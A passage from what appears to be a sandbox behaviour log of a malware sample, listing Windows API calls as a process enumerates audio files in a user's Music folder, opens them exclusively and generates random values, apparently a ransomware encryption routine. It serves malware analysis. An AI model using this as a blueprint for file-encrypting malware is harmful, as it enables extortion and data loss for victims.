returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0049.971] wcscat (in: _Dest=0x43c0f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0049.971] wcscat (in: _Dest=0x43c0f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\*" [0049.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8f38 [0049.971] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\*", lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa92c83b0, ftCreationTime.dwHighDateTime=0x1d4c915, ftLastAccessTime.dwLowDateTime=0xaae4e080, ftLastAccessTime.dwHighDateTime=0x1d4cb22, ftLastWriteTime.dwLowDateTime=0xaae4e080, ftLastWriteTime.dwHighDateTime=0x1d4cb22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405a0 [0049.971] wcscmp (_String1=".", _String2=".") returned 0 [0049.971] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa92c83b0, ftCreationTime.dwHighDateTime=0x1d4c915, ftLastAccessTime.dwLowDateTime=0xaae4e080, ftLastAccessTime.dwHighDateTime=0x1d4cb22, ftLastWriteTime.dwLowDateTime=0xaae4e080, ftLastWriteTime.dwHighDateTime=0x1d4cb22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.971] wcscmp (_String1="..", _String2=".") returned 1 [0049.971] wcscmp (_String1="..", _String2="..") returned 0 [0049.971] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ae01680, ftCreationTime.dwHighDateTime=0x1d4ce12, ftLastAccessTime.dwLowDateTime=0x986b4180, ftLastAccessTime.dwHighDateTime=0x1d4ca99, ftLastWriteTime.dwLowDateTime=0x986b4180, ftLastWriteTime.dwHighDateTime=0x1d4ca99, nFileSizeHigh=0x0, nFileSizeLow=0xb437, dwReserved0=0x0, dwReserved1=0x0, cFileName="4d-R.wav", cAlternateFileName="")) returned 1 [0049.971] wcscmp (_String1="4d-R.wav", _String2=".") returned 1 [0049.971] wcscmp (_String1="4d-R.wav", _String2="..") returned 1 [0049.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45f2b8 [0049.971] wcscpy (in: _Dest=0x45f2b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0049.971] wcscat (in: _Dest=0x45f2b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0049.971] wcscat (in: _Dest=0x45f2b8, _Source="4d-R.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\4d-R.wav" [0051.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45f2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c [0051.313] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7708d70, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0x8719d3c0, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0x8719d3c0, ftLastWriteTime.dwHighDateTime=0x1d4cd0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6SUG7Z_-", cAlternateFileName="")) returned 1 [0051.313] wcscmp (_String1="6SUG7Z_-", _String2=".") returned 1 [0051.313] wcscmp (_String1="6SUG7Z_-", _String2="..") returned 1 [0051.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45e6b8 [0051.313] wcscpy (in: _Dest=0x45e6b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.313] wcscat (in: _Dest=0x45e6b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.313] wcscat (in: _Dest=0x45e6b8, _Source="6SUG7Z_-" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\6SUG7Z_-" [0051.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc [0051.314] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5cff10, ftCreationTime.dwHighDateTime=0x1d4d461, ftLastAccessTime.dwLowDateTime=0x6fc551c0, ftLastAccessTime.dwHighDateTime=0x1d4ced7, ftLastWriteTime.dwLowDateTime=0x6fc551c0, ftLastWriteTime.dwHighDateTime=0x1d4ced7, nFileSizeHigh=0x0, nFileSizeLow=0x11875, dwReserved0=0x0, dwReserved1=0x0, cFileName="7DM-CB 0.wav", cAlternateFileName="7DM-CB~1.WAV")) returned 1 [0051.314] wcscmp (_String1="7DM-CB 0.wav", _String2=".") returned 1 [0051.314] wcscmp (_String1="7DM-CB 0.wav", _String2="..") returned 1 [0051.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447d38 [0051.315] wcscpy (in: _Dest=0x447d38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.315] wcscat (in: _Dest=0x447d38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.315] wcscat (in: _Dest=0x447d38, _Source="7DM-CB 0.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\7DM-CB 0.wav" [0051.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0051.316] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e500, ftCreationTime.dwHighDateTime=0x1d4cf99, ftLastAccessTime.dwLowDateTime=0x3c85d330, ftLastAccessTime.dwHighDateTime=0x1d4c788, ftLastWriteTime.dwLowDateTime=0x3c85d330, ftLastWriteTime.dwHighDateTime=0x1d4c788, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="a1-M", cAlternateFileName="")) returned 1 [0051.316] wcscmp (_String1="a1-M", _String2=".") returned 1 [0051.316] wcscmp (_String1="a1-M", _String2="..") returned 1 [0051.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418c08 [0051.316] wcscpy (in: _Dest=0x418c08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.316] wcscat (in: _Dest=0x418c08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.316] wcscat (in: _Dest=0x418c08, _Source="a1-M" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M" [0051.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4 [0051.317] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15009d70, ftCreationTime.dwHighDateTime=0x1d4c72b, ftLastAccessTime.dwLowDateTime=0x276cf470, ftLastAccessTime.dwHighDateTime=0x1d4c9c1, ftLastWriteTime.dwLowDateTime=0x276cf470, ftLastWriteTime.dwHighDateTime=0x1d4c9c1, nFileSizeHigh=0x0, nFileSizeLow=0x4642, dwReserved0=0x0, dwReserved1=0x0, cFileName="EawlraNxLB6TUT.m4a", cAlternateFileName="EAWLRA~1.M4A")) returned 1 [0051.318] wcscmp (_String1="EawlraNxLB6TUT.m4a", _String2=".") returned 1 [0051.318] wcscmp (_String1="EawlraNxLB6TUT.m4a", _String2="..") returned 1 [0051.318] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x4172c0 [0051.318] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.318] wcscat (in: _Dest=0x4172c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.318] wcscat (in: _Dest=0x4172c0, _Source="EawlraNxLB6TUT.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a" [0051.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4172c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8 [0051.319] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd0f7430, ftCreationTime.dwHighDateTime=0x1d4d2e1, ftLastAccessTime.dwLowDateTime=0x4132eac0, ftLastAccessTime.dwHighDateTime=0x1d4c8ec, ftLastWriteTime.dwLowDateTime=0x4132eac0, ftLastWriteTime.dwHighDateTime=0x1d4c8ec, nFileSizeHigh=0x0, nFileSizeLow=0xd971, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jox0ix.m4a", cAlternateFileName="")) returned 1 [0051.319] wcscmp (_String1="Jox0ix.m4a", _String2=".") returned 1 [0051.319] wcscmp (_String1="Jox0ix.m4a", _String2="..") returned 1 [0051.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e07c98 [0051.319] wcscpy (in: _Dest=0x12e07c98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.319] wcscat (in: _Dest=0x12e07c98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.320] wcscat (in: _Dest=0x12e07c98, _Source="Jox0ix.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a" [0051.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc [0051.321] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e44530, ftCreationTime.dwHighDateTime=0x1d4c581, ftLastAccessTime.dwLowDateTime=0x942a0df0, ftLastAccessTime.dwHighDateTime=0x1d4d2b3, ftLastWriteTime.dwLowDateTime=0x942a0df0, ftLastWriteTime.dwHighDateTime=0x1d4d2b3, nFileSizeHigh=0x0, nFileSizeLow=0xce6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LjOjw.mp3", cAlternateFileName="")) returned 1 [0051.321] wcscmp (_String1="LjOjw.mp3", _String2=".") returned 1 [0051.321] wcscmp (_String1="LjOjw.mp3", _String2="..") returned 1 [0051.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e07d18 [0051.321] wcscpy (in: _Dest=0x12e07d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.321] wcscat (in: _Dest=0x12e07d18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.321] wcscat (in: _Dest=0x12e07d18, _Source="LjOjw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3" [0051.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0 [0051.322] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46039a20, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0xb689d620, ftLastAccessTime.dwHighDateTime=0x1d4c85c, ftLastWriteTime.dwLowDateTime=0xb689d620, ftLastWriteTime.dwHighDateTime=0x1d4c85c, nFileSizeHigh=0x0, nFileSizeLow=0x7550, dwReserved0=0x0, dwReserved1=0x0, cFileName="lwKTIKY.wav", cAlternateFileName="")) returned 1 [0051.322] wcscmp (_String1="lwKTIKY.wav", _String2=".") returned 1 [0051.322] wcscmp (_String1="lwKTIKY.wav", _String2="..") returned 1 [0051.323] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e07d98 [0051.323] wcscpy (in: _Dest=0x12e07d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.323] wcscat (in: _Dest=0x12e07d98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.323] wcscat (in: _Dest=0x12e07d98, _Source="lwKTIKY.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav" [0051.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce4 [0051.324] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x362698a0, ftCreationTime.dwHighDateTime=0x1d4d4e7, ftLastAccessTime.dwLowDateTime=0xcdd50030, ftLastAccessTime.dwHighDateTime=0x1d4d242, ftLastWriteTime.dwLowDateTime=0xcdd50030, ftLastWriteTime.dwHighDateTime=0x1d4d242, nFileSizeHigh=0x0, nFileSizeLow=0x2d02, dwReserved0=0x0, dwReserved1=0x0, cFileName="XgPP97.mp3", cAlternateFileName="")) returned 1 [0051.324] wcscmp (_String1="XgPP97.mp3", _String2=".") returned 1 [0051.324] wcscmp (_String1="XgPP97.mp3", _String2="..") returned 1 [0051.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e07e18 [0051.324] wcscpy (in: _Dest=0x12e07e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.324] wcscat (in: _Dest=0x12e07e18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.324] wcscat (in: _Dest=0x12e07e18, _Source="XgPP97.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3" [0051.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8 [0051.325] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a67f410, ftCreationTime.dwHighDateTime=0x1d4d4da, ftLastAccessTime.dwLowDateTime=0xd83a7d80, ftLastAccessTime.dwHighDateTime=0x1d4c5a3, ftLastWriteTime.dwLowDateTime=0xd83a7d80, ftLastWriteTime.dwHighDateTime=0x1d4c5a3, nFileSizeHigh=0x0, nFileSizeLow=0x98db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZB5R-jL.m4a", cAlternateFileName="")) returned 1 [0051.325] wcscmp (_String1="ZB5R-jL.m4a", _String2=".") returned 1 [0051.325] wcscmp (_String1="ZB5R-jL.m4a", _String2="..") returned 1 [0051.325] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e07e98 [0051.325] wcscpy (in: _Dest=0x12e07e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.325] wcscat (in: _Dest=0x12e07e98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.325] wcscat (in: _Dest=0x12e07e98, _Source="ZB5R-jL.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a" [0051.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e07e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec [0051.327] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f58560, ftCreationTime.dwHighDateTime=0x1d4d555, ftLastAccessTime.dwLowDateTime=0x30436750, ftLastAccessTime.dwHighDateTime=0x1d4cc0a, ftLastWriteTime.dwLowDateTime=0x30436750, ftLastWriteTime.dwHighDateTime=0x1d4cc0a, nFileSizeHigh=0x0, nFileSizeLow=0x1ffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="_07D2zfcwpN6R4.mp3", cAlternateFileName="_07D2Z~1.MP3")) returned 1 [0051.327] wcscmp (_String1="_07D2zfcwpN6R4.mp3", _String2=".") returned 1 [0051.327] wcscmp (_String1="_07D2zfcwpN6R4.mp3", _String2="..") returned 1 [0051.327] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417c50 [0051.327] wcscpy (in: _Dest=0x417c50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk" [0051.327] wcscat (in: _Dest=0x417c50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0051.327] wcscat (in: _Dest=0x417c50, _Source="_07D2zfcwpN6R4.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3" [0051.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0 [0051.328] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f58560, ftCreationTime.dwHighDateTime=0x1d4d555, ftLastAccessTime.dwLowDateTime=0x30436750, ftLastAccessTime.dwHighDateTime=0x1d4cc0a, ftLastWriteTime.dwLowDateTime=0x30436750, ftLastWriteTime.dwHighDateTime=0x1d4cc0a, nFileSizeHigh=0x0, nFileSizeLow=0x1ffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="_07D2zfcwpN6R4.mp3", cAlternateFileName="_07D2Z~1.MP3")) returned 0 [0051.328] FindClose (in: hFindFile=0x4405a0 | out: hFindFile=0x4405a0) returned 1 [0051.329] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8f38) returned 1 [0051.329] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c0f0) returned 1 [0051.329] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d118) returned 1 Thread: id = 597 os_tid = 0xc0 [0049.972] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\gaoxxstt8.mp3")) returned 0x20 [0049.972] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3", dwFileAttributes=0x20) returned 1 [0049.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\GAoxXstt8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\gaoxxstt8.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaec [0049.972] GetFileSizeEx (in: hFile=0xaec, lpFileSize=0xe9cfe88 | out: lpFileSize=0xe9cfe88*=86323) returned 1 [0049.972] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x1512f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.972] ReadFile (in: hFile=0xaec, lpBuffer=0xe9cfe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe9cfe08, lpOverlapped=0x0 | out: lpBuffer=0xe9cfe0c*, lpNumberOfBytesRead=0xe9cfe08*=0x4, lpOverlapped=0x0) returned 1 [0049.973] SetFilePointerEx (in: hFile=0xaec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0049.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eddb8 [0049.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0049.973] NtQuerySystemTime (in: CurrentTime=0xe9cfde8 | out: CurrentTime=0xe9cfde8*=132174898139592000) returned 0x0 [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x6a13114f [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x58fca3eb [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x3c246ffe [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x21551e22 [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x11c523ae [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x79cd3a4 [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x58a072a2 [0049.973] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0x1e823532 [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0xafdc12e [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: Seed=0xe9cfdf4) returned 0xae4192f [0049.974] RtlRandomEx (in: Seed=0xe9cfdf4 | out: 